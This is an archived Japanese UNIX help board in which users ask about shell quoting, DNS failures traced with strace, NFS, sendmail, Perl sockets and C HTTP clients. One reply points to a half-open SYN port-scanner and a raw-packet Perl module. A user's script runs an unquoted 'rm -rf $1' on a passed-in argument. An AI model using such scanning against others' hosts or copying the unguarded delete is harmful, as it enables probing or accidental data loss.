|
>>2799 HIDE > tail -f log | grep foo >> log2 なるほど。grep が出力をバッファリングしてるからですね。ちょっと調べて みた限りでは、/dev/stderr にリダイレクトしてもダメだし、バッファリング ありにするオプションはないようなので、 % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2 てな感じで。 でも、grep でなんとかなりそうな気もするなぁ…。 |
|
>>2800 68user > /dev/stderr にリダイレクトしてもダメだし あー、grep 自体は stdout に出力してるだけだから、シェルで いくら stderr に振ってもどうにもならないですね。 というわけで、続きはここで。 http://pc.2ch.net/test/read.cgi/unix/1022769156/l50 2ch で質問するのなら最初からそっちで聞けっつーの。 |
|
>>2800 68user % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2 をやってみたら、うまくいきました! いろいろ調べていただいたようで、ありがとうございました。m(__)m >でも、grep でなんとかなりそうな気もするなぁ…。 微妙〜なとこでうまくいかないのが悔しいですね。(^^;) でも、この件は急いでいたので大変助かりました。 |
|
>>2801 68user >2ch で質問するのなら最初からそっちで聞けっつーの。 至急性が高かったので両方に投稿しておりました。 大変失礼しました。すいません。 |
|
ここまでまるごとパクリっていうのも... http://www.apk.ne.jp/~yasya/ura/unix/index.html |
|
>>2796 68user digをstrace|egrepした内容です。 socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) 一応ソケットを作りに行ってますが、connectはしてないみたいです。 あと設定ファイルですが、起動のたびに上書きされており、 % cat /etc/resolv.conf nameserver 192.168.0.1 となっています。 固定IPを設定するのは気がひけるのでまだやってません(^^;) でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで 決めてるようならいつものIPを指定してみようかな? ついでに >>2781のperlスクリプトをstrace|egrepしてみました。 socket(PF_UNIX, SOCK_STREAM, 0) = 3 connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory) socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 お手数かけてますがどうぞよろしく。 |
|
>>2805 has > digをstrace|egrepした内容です。 > socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3 > socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) > socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented) > socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol) > perlスクリプトをstrace|egrepしてみました。 > socket(PF_UNIX, SOCK_STREAM, 0) = 3 > connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or > directory) > socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 > connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 > socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 > connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 なんか全然違いますねぇ。UDP/IP で、192.168.0.1:53 宛に connect するはずなので、perl の場合の socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0 という結果は正しいと思います。perl の実行時に tcpdump してみたら どうなるんでしょうか。 うちではこんな感じです。 % truss perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))" socket(0x2,0x2,0x0) = 4 (0x4) connect(0x4,{ AF_INET 192.168.0.1:53 },16) = 0 (0x0) sendto(0x4,0xbfbfe464,0x24,0x0,0x0,0x0) = 36 (0x24) recvfrom(0x4,0xbfbfed64,0x400,0x0,0xbfbfe238,0xbfbfe1fc) = 251 (0xfb) close(4) = 0 (0x0) close(3) = 0 (0x0) % truss dig www.jp.freebsd.org socket(0x2,0x2,0x0) = 3 (0x3) connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0) sendto(0x3,0xbfbff184,0x24,0x0,0x0,0x0) = 36 (0x24) select(0x4,0xbfbed694,0x0,0x0,0xbfbed60c) = 1 (0x1) recvfrom(0x3,0xbfbef184,0x10000,0x0,0xbfbed684,0xbfbed678) = 251 (0xfb) close(3) = 0 (0x0) ただ、どうも strace から絞り込んでいく方向は遠回りかもしれません。 IPv6 を OFF にしてみるとか、DHCP を使わずにやってみる方が早道かも しれませんね。 > でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで > 決めてるようならいつものIPを指定してみようかな? 大抵の DHCP サーバは、どの MAC アドレスにどの IP アドレスを振った かを数日間記憶していて (設定次第ですが)、できるだけ同じマシンには IP アドレスを振るようにしているので、ちょろっと試す分には OKかと 思います。 >>2804 通りがかり > ここまでまるごとパクリっていうのも... > http://www.apk.ne.jp/~yasya/ura/unix/index.html クレーム入れるのもダルいので、放置です。 ちなみに他にもありますよ :-) http://www.it.ice.uec.ac.jp/~furu/unix/kind.html http://noto.cc4-4.kanagawa-u.ac.jp/~jsato/helps/ コンテンツの引用や転載については http://x68000.startshop.co.jp/~68user/ を読んでください、ということで。 |
|
こんにちは。愛子@UNIX1年生 です。 今回、Cシェルを作成することになり、Cシェルはじめて2週間といった 初心者です。どうぞ、宜しくお願いします。 さて、質問なのですが・・・ [ test.txt ] apple 133 123 orange 133 123 candy 133 156 というファイルがあります。 このファイルの各行末に 変数 TEMPSTR に 格納されている文字列を連結するというCシェルを 作成しようとしています。 [ 作成したシェルスクリプト ] #!/bin/csh set TEMPSTR = "LIST" sed 's/$/,123.45/' < test.txt sed "s/^/${TEMPSTR},/" < test.txt sed "s/$/,${TEMPSTR}/" < test.txt [ 実行結果 ] apple 133 123,123.45 orange 133 123,123.45 candy 133 156 ,123.45 LIST,apple 133 123 LIST,orange 133 123 LIST,candy 133 156 文法があいまいです。 となります。 行頭挿入は、出来るのに行末追加は出来ないのは何故でしょうか??? 文法があいまい ということは、変数の指定がいけないと思うのですが ・・・ 変数の中身は、固定でないので(各行違うデータを文末につけるので) 変数を用いなればなりません。 sed以外でも ファイルの各行の文末に文字列を連結することが 出来るコマンドがあれば、そちらの方法でも構いません。 (行数分LOOPを回してやるというLOOP処理では行数が1万行とかあるので NGですが) 質問の仕方が下手で申し訳ありませんが、宜しくお願い致します。 ちなみにバージョンは、UNIX(r) System V Release 4.0 です。 どなたか、ご教授いただければ大変、嬉しく思います。 |
|
自己レスでごめんなさい。 10Hやって出来なかったので、質問したのですが、 インターネットで調べながらやっていたら、出来ました。 sed 's/$/,'$TEMPSTR'/' < test.txt でした。 また、1行目から2行目まで追加したい時は、 @ RW = 2 sed '1,'$RW's/$/'$TEMPSTR'/' < test.txt のようです。 ご参考までに #!/bin/csh set TEMPSTR = "LIST" @ RW = 2 sed 's/$/,123.45/' test.txt sed "s/^/${TEMPSTR},/" test.txt echo RW = $RW echo TEMPSTR = $TEMPSTR sed '1,2s/$/,GYOUMATSU/' test.txt echo "-----------------------------------------------" sed '1,'$RW's/$/'$TEMPSTR'/' test.txt echo "-----------------------------------------------" sed 's/$/,'$TEMPSTR'/' test.txt どなたかが参考になるといいなぁ・・・ では、お騒がせ致しましたです。 |
|
>>2808 愛子 > sed 's/$/,'$TEMPSTR'/' < test.txt もし "" でくくるなら、sed "s/\$/,$TEMPSTR/" ですが、 csh では "\"" とか '\'' というふうに - "" の中に " を入れる - '' の中に ' を入れる ことはできませんので、\ でエスケープしているといつかは 破綻します。よって、 > sed 's/$/,'$TEMPSTR'/' < test.txt のように必要なところのみ '' でくくるのはよいやり方だと 思います。 |
|
sendmailについての質問があります。 現在sendmailのバージョンは、8.9です。 現在使用しているドメインにもう1つドメインを追加したいのですが、 sendmail.cwファイルを作成して、そこを参照するように.defを このようにしました。 USE_cw_FILECLASS=yes cw_FILE_PATH='/etc/mail/sendmail.cw' そして、sendmail.cwの中にドメイン名を記述したのですが、 これだけでは、だめなのでしょうか? やりたい事は、1つのメールサーバーで2つのドメインのメールを受信 したいのです。 検討違いの事をやっているかもしれませんが、教えてください |
|
はじめまして、こんにちは。 HPを開いているのですがご相談があります。 ネットに関してまだ未熟なもので 申し訳ないですがよろしくお願い致します。m(__)m BBSを2つほどレンタルして設置しているのですが 管理人の記事管理モードなどを使うと 書き込み相手の【ホスト名】というのが表示されています。 これを使ってアクセス制限などをするようなのですが 私のBBSでは1つが【4つの数字】の表示(【IPアドレス】ですか?)で もう1つは【〜jp】での表示です。 これら【ホスト名】とは、パソコン1つ1つで絶対に違うものになるのでしょうか? 人によっては時々その数字やアルファベットが、多少変化しているのですが・・・。 同じ物は絶対に存在しないのでしょうか? 例えば学校内の1つの部屋に沢山のパソコンを置いている場合、 どのパソコンを使ってもこの【ホスト名】は別々のものになりますか? それとも同じになる事もあるのでしょうか? このような質問をさせて頂いたのは実はBBSに書き込みされてる方で 『2つのHNを使い、別人を装ってるのではないか?』と 思われる人がいるからなんです。 その2人の人物はいつも同じ日、同じ時間に書き込んでいるのですが 【ホスト名】が常に同じだったので疑った所 『友人で2人とも学校から書き込んでいる』といいます。 その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか? わかりにくい文面で申し訳ないですが、 大変困ってますので、どうかよろしくお願い致します・・・。m(__)m |
|
>>2810 りょうこ よいと思います。あるいは MY_ALIAS で指定するとか。 >>2811 あおい > それとも同じになる事もあるのでしょうか? proxy サーバを経由しないと外に出られないようになっているなら、 ホスト名や IP アドレスは proxy サーバのものになります。学校や 会社などではよくある形態です。 > その人物達のホスト名は他の方達が【〜ne.jp】で終わってる所 > 【fm〜ngn.ed.jp】となっています。これは学校や団体を指すのでしょうか? ed.jp は小・中・高等学校などです。詳しくは http://www.nic.ad.jp/ja/dom/basics.html をどうぞ。ngn は「長野県」でしょうね。 |
|
>>2806 68user perl実行時にstraceしながらtcpdumpしましたが、パケットは流れませんでした。 ただstraceで若干気になったところがあるんですが、 socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3 connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168\ .0.1")}}, 28) = 0 send(3, "9\307\1\0\0\1\0\0\0\0\0\0\3www\2jp\7freebsd\3org\0"..., 36, 0) = 36 gettimeofday({1025110376, 462410}, NULL) = 0 poll([{fd=3, events=POLLIN}], 1, 5000) = 0 と出力されるうち、sendの戻り値36は何を示しているんでしょう? # ちなみにプログラムはpollでタイムアウトを繰り返して終了します。 固定IPを指定してみましたが、やはり同様に名前解決できませんでした。 ipv6を切るのは、やり方がわかっていないのでまだやっていません。 Webの検索をしたときにSolarisで同じような問題にぶつかって、 それについてMLで質問している記録が掲載されていたのを見付けたので、 その人に直接メールで聞いてみようかなぁ。 # その記事には結末が載っていませんでした |
|
>>2813 has > sendの戻り値36は何を示しているんでしょう? 送信したバイト数ですが、この結果だけ見ればちゃんと query を 送信しているように見えます。 というわけで、strace は手詰りですね。後は netstat -s で統計 情報に何か出ていないか調べてみる、くらいしか思い付きません。 |
|
こんにちは パールのコードについて教えてください。 ログの読み込みなのですが、ファイルハンドルをオープンして通常は @log = <FH>; のような形で取り込むのですが、ログファイルの先頭の 1行だけ必要な場合、その1行だけを取得することはできるのですが、 書き換えたその1行を元の先頭に戻したいのです。 メモリ食いの @log = <FH>; は使わないで、while(<FH>){nantoka;} のような形で解決するコードは無いでしょうか。 よろしくお願いします。 |
|
>>2815 moto use IO::Handle して、sysopen して、<FH> して、先頭に seek で戻って print でいけるかな。 ただし、1行あたりの文字数が変わらない場合のみです。 |
|
こんにちは 68user さん 掲示板のログの読み込みに関してだったのですが、やはり、上手い手は無いようなのですね。 いつも思うのですが、open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら、while 関数ももっと活躍できるのにと残念です。 お騒がせしました。 |
|
>>2817 moto > open 関数の >> の追加書き込みでログの先頭に書きむ選択肢もあったら と言われて思い出しましたが、 +> や +>> ってのがありましたね。 ただ、繰り返しになりますが、文字や行の挿入はできませんよ。 あくまで上書きのみです。よって、あまりうれしくないかも。 |
|
教えてください。 vi エディッタで rm ファイル名で ファイルを削除してしまいました。 復元する方法はありませんか??? よろしくお願いします。 |
|
>>2819 飛鳥 一般的な UNIX のファイルシステムであれば、消したファイルは 復活できません。あきらめましょう。 |
|
ありがとうございます。 素直にあきらめます。。。。。。。。。 |
|
javaのRuntimeクラスを使いシェルスクリプトを実行させたのですが、 シェルスクリプトに引数が渡りません。 以下の記述をしてます。 Runtime.getRuntime().exec("test.sh","param"); シェルスクリプト側で$1変数から引数の値が取得できてません。 解決方法を知ってる方は教えて頂けないでしょうか? |
|
>>2822 help 試してませんが String args[]={"test.sh", "param"}; Runtime.getRuntime().exec(args); とか Runtime.getRuntime().exec(new String[]{"test.sh", "param"}); とかとか。 # 文法あってるかな・・・。 |
|
>>2823 68user わざわざ返答ありがとうございます。 返答された記述も上手くいきませんでした。 シェルスクリプト内で行っている処理なんですが、 引数で渡された値からファイルを削除する処理で 以下のような記述をしてます。 #!/bin/sh /** 別の処理 */ rm -rf $1 |
|
>>2824 help > 返答された記述も上手くいきませんでした。 何がどううまくいかなかったですか? また、うまくいかないと判断した根拠は何ですか? コマンドラインからシェルスクリプトを実行すると動くんですか? うちの Solaris8+J2SE SDK 1.3.1 では String args[]={"test.sh", "param"}; Runtime.getRuntime().exec(args); と Runtime.getRuntime().exec(new String[]{"test.sh", "param"}); それに Runtime.getRuntime().exec("test.sh param"); も動きました。 そもそも > Runtime.getRuntime().exec("test.sh","param"); はコンパイルできなかったのですが、そちらではコンパイルできているん でしょうか? なお、Runtime#exec の出力結果を取得したいならこちらを。 http://www.ongs.net/daichi/java/runtimeexec/index.shtml これをやらなくても画面に表示されないだけで、実行はされています。 |
|
>>2825 68user 説明不足で申し訳ありませんでした。 おかげさまでシェルスクリプト内で 以下の記述を追加して解決できました。 //削除したいファイルのパスに移動 cd /XXX/XXX rm -rf $1 |
|
はじめましてTetsuといいます 早速ですが質問があります WindowsでTCP/IPのプログラムを作っているのですがサーバーはどれにあたるのですか? メールサーバーでしょうか?それともWWWサーバーなのか良くわかりません 自分ではチャットみたいなプログラムを作りたいと思うのですがサーバーとクライアントの関係がまだ良くつかめません 具体的に教えてもらえると助かります |
|
>>2827 Tetsu 「はじめにプロトコルありき」と考えるのはどうでしょうね。 HTTP というプロトコルがあります。HTTP を喋るサーバと HTTP を喋るクライアントが必要です。HTTP を喋るサーバは web サーバです。HTTP を喋るクライアントはブラウザです。 よって、web サーバとブラウザがあれば HTTP で遊べます。 で、あなたはチャットみたいな機能が欲しいと。プロトコルは何にしますか? 1. IRC 2. HTTP (web 上でのチャット) 3. 自作プロトコル 1 の場合、IRC というプロトコルは既に存在します。IRC プロトコルを喋る サーバは既に存在します。IRC プロトコルを喋るクライアントは既に存在します。 よって、IRC サーバと IRC クライアントをインストールすれば OK です。もし IRC サーバに不満があるなら自作することもできます。IRC クライアントに 不満があるなら自作することもできます。 2 も 1 と同じ。 3 の場合、あなたが新しいプロトコルを設計します。何から何まであなたが 勝手に決めます。しかし、そのプロトコルを喋るサーバもクライアントも この世には存在しませんので、両方とも自作する必要があります。 …というので回答になってますか? |
|
回答ありがとうございます 自分の聞きたかった質問の解答になってます ありがとうございます 早速1か2の方法でためしてみたいと思います 3はもう少し勉強してからのほうがいいと思うので |
|
>>2829 Tetsu > 早速1か2の方法でためしてみたいと思います という選択をするのはそれはそれで構わないのですが、チャットアプリを 作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、 多分遠回りになります。 まずは入力された文字を参加者全員に返すサーバを作る。クライアントは telnet コマンドで代用。 そこからどんどん機能追加して、名前を入力できるようにしたり、部屋を 作れるようにしたり、誰かが入室・退室したときは全員に通知するように したり、ファイル送受信できるようにしたり…という方がいいかもしれません。 |
|
教えてください。 あるマシンで NFS の share を行って、他のマシンからそれのディレクトリを mountすると、他利用者に何か影響を及ぼすようなことが発生するのでしょうか? |
|
連続してすみません。 教えてください。 dfmountsコマンドを使用する場合、動作環境の条件は、どのようなものがよろしいのでしょうか? |
|
始めまして。UNIX初心者です。 今、cシェルを主体としているUNIXにログインしているんですが、 自作のプログラミングを流すと、 : 構文エラー at line 59: `end of file' unexpected というエラーメッセージが出るんですが、 「ファイルのエンドコードがないっす」って意味だと思うんですが、 この対処法とかあったら教えて下さい。 因みに自分の記述は一行目から "#! /usr/bin/sh"とかって、シェルがちゃうやん!! みたいな指摘もあったりなかったり(爆 |
|
はじめまして。 HTTPクライアントについて教えて頂きたいのですが、C言語でHTTPクライアントを作成したく、こちらの「C言語でHTTPクライアントを作ってみよう」を参考にしております。それで、そちらにあるソースではGETの場合を例にしておりますが、これはPOSTでも可能なんでしょうか?また、その場合どのようにすればよろしいのでしょうか。 よろしくお願いします。 |
|
>>2883 シケ゛ > : 構文エラー at line 59: `end of file' unexpected 直訳すると 予期せぬ「ファイルの終わり」 意訳すると 次に○○が現れると予想していたのに、ファイルの終端まで 到達してしまった というわけで、if に対応する then や fi がないとか、case を esac で 閉じてないとか、そういったことでしょう。 # ファイルの最終行に改行コードがないという可能性も捨て切れませんが。 > ファイルのエンドコードがないっす UNIX にはファイルの終端コードというものはありません。 >>2834 麻耶 > これはPOSTでも可能なんでしょうか? 可能です。 http://x68000.startshop.co.jp/~68user/net/http-4.html を読んでください。 |
|
>>2831 シド 僕は NFS に詳しくないのでよくわかりませんが、返事が付かないのは 質問が曖昧だからでしょう。 まず、OS とバージョンが不明です。 >>2783 シド > - /home rw=nini:gp7000s,root=gp7000s "File Service" GP7000S っていうことは Solaris か UXP/DS か HP-UX かなぁと 思いますが (Solaris しか載らないんでしたっけ?)、ちゃんと サーバとクライアント両方について、OS とバージョンを明記 すべきです。 また、何をどう設定したのかがわかりません。share の引数は? NFS クライアントからどうやってマウントしたのですか? NFS クライアントからは正常にアクセスできているのですか? > 動作環境の条件はどのようなものがいいか どのような、って何を聞きたいのかわからないです。うまく動作しないのは 動くための条件をクリアしていないのではないか、ということですか? > 他利用者に何か影響を及ぼすようなことが発生するのでしょうか? 「他利用者」ってどのマシンの利用者ですか? クライアント? サーバ? 要は何か問題が発生しているのですか? ただ単に心配しているだけですか? 業務で使用していて問題が発生しているなら、サポートに聞いた方が いいと思いますよ。そっちの方が早いし、正確だし、とことんまで 調べてくれるでしょう。 あとは、人の多い http://pc.2ch.net/unix/ で質問してみるとか。この掲示板なんて、1日100〜200程度のアクセスしか ありませんので。 |
|
回答ありがとうございます。 幾度か試してみまして、出来ませんでしたのでこちらに書き込んだのですが、よく確認しましたところ空行の入れ忘れでした。本当に申し訳ありませんでした。 |
|
すみません。 書き込みの内容が、曖昧でした。私の使用しているのは、確かにSolaris です。 (クラスタサーバモデルなので2つともです。) shareの実行は、「share -F nfs -o rw=ss10:gp7000s,root=gp7000s -d "File Service" /home」 上記の共有を実行しました。 これをもう1つ別のサーバでマウントして、dfmountsを行う。 (dfmounytsはオプションにサーバ名を入れる事が出来た) このときdfmountsを行う動作環境として何か問題または、条件が有りますか。 |
|
回答ありがとうございました(^^) 無事プログラム流れてくれました。 結局、if文内にあったechoのダブルクォーテーション不足でした ご迷惑かけました(^^; |
|
教えていただきたいのですが、HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか? また参考をなるものがありましたら教えて頂けないでしょうか。 よろしくお願いします。 |
|
すいませんが、どなたか文字列置換に詳しい方がいらっしゃいましたら教えていただきたいんですけど、あるディレクトリ以下の全てのファイルを対象に文字列置換を行う際の書式を教えて下さい。 で、文字列中に記号や空白が含まれるので、例えば「top.test/mail.html」という文字列を「i = window.close();」という文字列に置換する際はどういったコーディングになるのか教えて頂けたらさいわいです。 sedコマンド等で色々と試したのですがどうしても上手く行きません。 どなたかわかる方いらっしゃいましたら教えて下さい。 もう3日ほど悩んでいます。。。お願いします。 |
|
>>2841 かず Perlで、 s#top\.test/mail\.html#i = window.close();#g; とか・・・ s#\Qtop.test/mail.html\E#i = window.close();#g; |
|
お世話になっています。 初心者の質問で申し訳がありません。 MA-300というハードにPostgreSQLをインストールをしました。 そこで、自動起動を行いたいのですが、 /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。(red hatでは起動したので、コマンドは正しいかと思います。) 私の初心者ながらの推測では、起動時にrc.localは呼ばれていない気がします。(rc.localの中身は空なので、現状では呼ばれなくてもさしあたりがない。) そこで、またまた初心者的な発想なのかもしれませが、 /etc/rc.d/rc.sysinit に、直接コマンドを書き込んでもいいのでしょうか? ご教授ください。 また、他にいい方法があれば、お教え願います。 よろしくお願いします。 |
|
>> 早速1か2の方法でためしてみたいと思います >という選択をするのはそれはそれで構わないのですが、チャットアプリを >作ることが目的ではなく、TCP/IP プログラミングの勉強が目的なのなら、 >多分遠回りになります。 すみません少し勘違いしてました 目的はTCP/IPプログラミングの勉強です チャット機能を持ったプログラムはTCP/IPを理解する上で作りたいと思ってるものです で質問なのですがサーバプログラムは作成しないといけないのでしょうか? プロバイダーのサーバにつないでMSNメッセンジャーのような感じで作りたいのですが |
|
>>2840 紅絹 > HTTPでファイル転送するものをC言語で作りたいのですが可能でしょうか? やろうと思えば何だって可能ですが、そもそもファイル転送って何ですか? ファイルを GET することですか? それとも http://tohoho.wakusei.ne.jp/wwwxx034.htm のようにファイルをアップロードすることですか? >>2843 シゲ > /etc/rc.d/rc.local に起動コマンドを書き込んでも起動しません。 Linux なら http://www.zdnet.co.jp/help/howto/linux/0007master/01/08.html のように S99PostgrSQL と K99PostgreSQL を作るのが普通だと思います。 >>2844 Tetsu > で質問なのですがサーバプログラムは作成しないといけないので > しょうか? プロバイダーのサーバにつないでMSNメッセンジャーの > ような感じで作りたいのですが IRC や ICQ や MSN メッセンジャーのように、既にどこかにサーバが 立ち上がっているのなら、わざわざサーバは作らなくてもいいです。 ただし、こういうのを読んでプロトコルを理解する必要があります。 IRC: http://www3.alpha-net.ne.jp/users/tycho/mokuji.htm ICQ: http://www.d.kth.se/~d95-mih/icq/ MSN メッセンジャー: http://www.tlsecurity.net/Textware/Misc/draft-movva-msn-messenger-protocol-00.txt (これは古い) 作るのにとても苦労するでしょうけど、まぁこういうのが好きならば 結構楽しいと思います。 苦労しつつも楽しんでいる人々: http://pc.2ch.net/test/read.cgi/tech/1006154451/ |
|
マウント、シェア関係はほとんど解決できました。 1つ解らないことがあるので、教えてください。 sunOS Solaris7 を使用しています。 NFS サーバーで NFS サービスの実行があるのですが dfmountsコマンドを実行したいとき、どのデーモンを起動すればいいのか? mountの場合、mountdプロセスが起動していれば、mountコマンドが実行できました。 |
|
教えてください。 現在POSTをつかったHTTPクライアントをC言語で作成しているのですが、[HTTPクライアントを作ってみよう]のPOSTメソッドを参考に sprintf(send_buf, "POST %s HTTP/1.0 \r\n", path); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "Content-Length:8\r\n"); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "Content-Type:text/plain\r\n", path); write(s, send_buf, strlen(send_buf)); sprintf(send_buf, "\r\n"); write(s, send_buf, strlen(send_buf)); sprintf(send_buf,"NAME=aaa\r\n"); write(s, send_buf, strlen(send_buf)); という風に作ってみたのですが、ヘッダの方は正常に送信されている みたいですが、パラメータが正常に送信されていないようなんです。 ご指摘よろしくお願いします。 |
|
教えてくれた方、ありがとうございました。 その後四苦八苦してなんとか自分で解決できました。 ありがとうございました。 |
|
ご回答ありがとうございます。 ファイル転送についてですが、GETとアップロードの両方おこなうものを作りたいと思っています。説明不足で申し訳ありませんでした。 |
|
はじめまして、いつもお世話になっております PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら タイムアウト処理を、と言ったことをしたいのですが、以下のプログラムでは うまく行きませんでした。TCPdumpで見てたところ、何回もSYNを投げなおした後 数分後にやっとエラーメッセージを表示してくれます。 よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後 エラーメッセージを出す動きをしていました。 何かアドバイスなど有りましたらよろしくお願いいたします なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です $socket = new IO::Socket::INET ( PeerAddr => "$address", PeerPort => "$port", Proto => 'tcp', TimeOut => 10 ); unless ($socket) { print STDERR "Connection Error at $date\n"; close($socket); } |
|
>>2850 しっぽ > PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら その辺を管理するのは OS の TCP スタックなので、プログラム側 からはどうにもなりません。 > よくよく見てみたところ、リトライの間隔がTimeOutの設定に関係なく > 最初は3秒、次が6秒、12,24,48秒となっていて最後に96秒待った後 > エラーメッセージを出す動きをしていました。 これも、そういうものです。 Solaris だとタイムアウトまでの時間を変更できたしますが、その他の OS では変更できない可能性が高いです。 もし connect 時のタイムアウト処理をしたいという目的ならば、 ノンブロッキングソケットを使いましょう。 >>2847 mattu > パラメータが正常に送信されていないようなんです。 その判断が間違っているような気がします。そう判断するに至った 根拠が明示されていないので、ただのあてずっぽうですが。 |
|
ご回答ありがとうございます。 別にあてずっぽうではなく、サーバ側でデバックにて確認してみると、渡しているデータが入ってなかったのと、渡されたヘッダ・パラメータがファイルに出力されるようにしており、JAVAで作成したものでしたら正常に出力されるのですが、Cで作成したもので試してみるとヘッダの部分のみ出力されるのでそう思いました。デバック等にはVAJを使用しております。 言葉不足ですみませんでした。 |
|
>>2852 mattu - ボディの最後の \r\n は不要 (もし \r\n を付けるなら Content-Length は 10 であるべき。でも \r\n 付けていいのかな?) - リクエストに Content-Type ヘッダは不要 という点を直しても まだボディが渡らないようなら、その C のプログラムが おかしいんだと思います (てゆーか、Java でうまくいって C でうまくいかない なら、C の方を疑うべきでしょう)。 詳しくはこちらなど。http://www.studyinghttp.net/headers.html |
|
>>2845出来ました。ありがとうございます。 |
|
教えてください。 showmountコマンドは、OSのサポートバージョン等が制限されていますか。 showmountコマンドの実行制限が何かありましたら、教えてください。 |
|
ご回答ありがとうございます Cで作るHTTPクライアントの件ですが、やはりボディが渡りません。 ソースの方を確認しましたが、おかしいと思われる箇所は見つかりませんでした。 環境が原因で渡らないというのはあるんでしょうか? 現在はUNIX上でコンパイル・実行をしてWin2000上のVAJにつないでいるんですが、関係あるのでしょうか? また、ボディの書き方で何か注意しとくべきことありますでしょうか? よろしくお願いします。 |
|
>>2856 mattu > ボディの書き方で何か注意しとくべきことありますでしょうか? 結局何をどうしたのかわからないので、何とも言えません。 - VAJ をやめて別のサーバ (Apache など) にしてみる - パケットをモニタして、java 版と C 版の違いを調べる あたりをやれば何かわかるんじゃないでしょうか。 >>2856 mattu >>2855 シド とりあえず http://www.hyuki.com/writing/techask.html を読んでみてください。 |
|
>>2851 68user ご回答ありがとうございます そんな気はしてたのですが、やっぱりそうですか ただ、TimeOut => 10 の所は何に反映されるのかってのがちょっと気になりました。 確か<$socket>やsysreadで読んだときに読むべきデータがないと TimeOutの時間を過ぎても返ってこなかったと思いますので… >ノンブロッキングソケットを使いましょう。 これってつまりは「読むべきデータが無いときに待たない」って 事ですよね。Perlでは使えますでしょうか?? 確立時の話じゃないですけど、Cのrecvなんかは待たないので 便利だったり不便だったりといった感じではあったのですが… |
|
>>2850 しっぽ > PerlでTCPのSYNを一度だけ投げて任意の時間内にSYN ACKが返ってこなかったら > タイムアウト処理を、と言ったことをしたいのですが この目的を聞かせてください。connect で数分待ってしまうのがイヤだから なんとかしたい、ということだと受け取ったのですが、 > Cのrecvなんかは ということは、read/write のタイムアウト管理 {が or も} 目的なのですか? |
|
>>2850 しっぽ IO::Socket::INETなんて高級な物を何故そこで使うのかがわかりませんが、 http://www.cotse.com/sw/portscan/halfscan.c のプログラムと同等のことをPerlからやりたいなら、 http://search.cpan.org/doc/SKOLYCHEV/Net-RawIP-0.09d/RawIP.pm でなんとかできませんか? libpcapのラッパーなのでそれがmakeに要る ようです。 タイムアウトは、 >なお、PerlのVersionはThis is perl, v5.6.1 built for i386-linux-thread-multi です とのことですから、threadを使ってなんとかできそうですが Perlのthreadなんて使ったこと無いのでどうなのか知りません。 Rubyなら http://www.goto.info.waseda.ac.jp/~fukusima/ruby/pcap-j.html なんてのもありますがこっちは目的の機能は無いようにみえます。 |
|
未だRedhatで名前解決できず、気が向いては眺め、弱っています。 Redhat7.1.94(雑誌に付属)を再インストールしてみましたが、 症状は変わりませんでした。 >>2814 68user [netstat -s]は、どういった項目をどのような観点から観察したらよいでしょうか? 使ったことも知識も無いので、よかったら今後のためにもアドバイスください。 >>2779 has いまさら経緯の説明をはじめるのも遅すぎかとは思うのですが、 そもそもこういった状態になったのは、LANからインターネットへの回線が ISDNからADSLに変わり、それと同時に各ユーザマシンに割り当てられるIPが グローバルIPからプライベートIPに変わってからでした。 それまではRedhatからでも名前解決に時間がかかりながらも なんとかアクセスできていました。 # Win2kとのデュアルブートなんですが、ADSLになる以前からも、 # Win2kは素早く名前解決できてRedhatで時間がかかるという差が # あったことが、既におかしかったのかもしれません… とりあえず現在の状況はこんな感じでうまくいっていません。 以上ご報告まで。 |
|
